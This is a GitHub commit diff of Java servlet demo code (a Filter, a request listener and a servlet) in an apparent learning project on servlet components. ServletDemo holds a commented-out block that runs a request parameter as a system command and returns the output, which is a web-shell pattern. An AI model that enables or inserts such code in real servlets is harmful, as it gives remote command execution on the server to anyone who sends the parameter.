-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
108 additions
and
69 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,22 +1,25 @@ | ||
package me.mole.filter; | ||
|
||
import javax.servlet.*; | ||
import java.io.IOException; | ||
|
||
//自定义Filter示例 | ||
public class Demo5 implements Filter { | ||
public class FilterDemo implements Filter { | ||
|
||
@Override | ||
public void init(FilterConfig filterConfig) throws ServletException { | ||
System.out.println("Demo5 Filter init..."); | ||
System.out.println("me.mole.filter.Demo5 Filter init..."); | ||
} | ||
|
||
@Override | ||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) | ||
throws IOException, ServletException { | ||
System.out.println("Demo5 Filter doFilter..."); | ||
System.out.println("me.mole.filter.Demo5 Filter doFilter..."); | ||
filterChain.doFilter(servletRequest, servletResponse); | ||
} | ||
|
||
@Override | ||
public void destroy() { | ||
System.out.println("me.mole.filter.Demo5 Filter destroy..."); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
package me.mole.listener; | ||
|
||
import javax.servlet.ServletRequestEvent; | ||
import javax.servlet.ServletRequestListener; | ||
import javax.servlet.http.HttpServletResponse; | ||
|
||
public class ListenerDemo2 implements ServletRequestListener { | ||
private HttpServletResponse response; | ||
|
||
/** | ||
* 如果按照正常的注册流程去注册的话, | ||
* 自定义的Listener需要有无参构造方法. | ||
* 否则tomcat启动会报错. | ||
*/ | ||
public ListenerDemo2() { | ||
|
||
} | ||
|
||
public ListenerDemo2(HttpServletResponse response) { | ||
this.response = response; | ||
} | ||
|
||
@Override | ||
public void requestDestroyed(ServletRequestEvent sret) { | ||
System.out.println("ListenerDemo requestDestroyed"); | ||
} | ||
|
||
@Override | ||
public void requestInitialized(ServletRequestEvent sret) { | ||
System.out.println("ListenerDemo requestInitialized"); | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
package me.mole.servlet; | ||
|
||
import javax.servlet.GenericServlet; | ||
import javax.servlet.Servlet; | ||
import javax.servlet.ServletException; | ||
import javax.servlet.ServletOutputStream; | ||
import javax.servlet.http.HttpServlet; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.io.BufferedReader; | ||
import java.io.IOException; | ||
import java.io.InputStream; | ||
import java.io.InputStreamReader; | ||
|
||
//自定义Servlet示例 | ||
public class ServletDemo extends HttpServlet { | ||
|
||
@Override | ||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | ||
try { | ||
System.out.println("me.mole.servlet.ServletDemo doGet..."); | ||
// ServletOutputStream out = resp.getOutputStream(); | ||
// String cmds = req.getParameter("servletinjt"); | ||
// if (cmds != null) { | ||
// InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream(); | ||
// StringBuilder sb = new StringBuilder(); | ||
// BufferedReader br = new BufferedReader(new InputStreamReader(in)); | ||
// String line = null; | ||
// while((line = br.readLine()) != null) { | ||
// sb.append(line).append("\n"); | ||
// } | ||
// if (sb.length() > 0) { | ||
// out.print("<pre>"); | ||
// out.write(sb.toString().getBytes()); | ||
// out.print("</pre>"); | ||
// out.flush(); | ||
// out.close(); | ||
// } | ||
// } | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
|
||
@Override | ||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | ||
doGet(req, resp); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -11,6 +11,6 @@ | |
<title>$Title$</title> | ||
</head> | ||
<body> | ||
$END$ | ||
hello | ||
</body> | ||
</html> |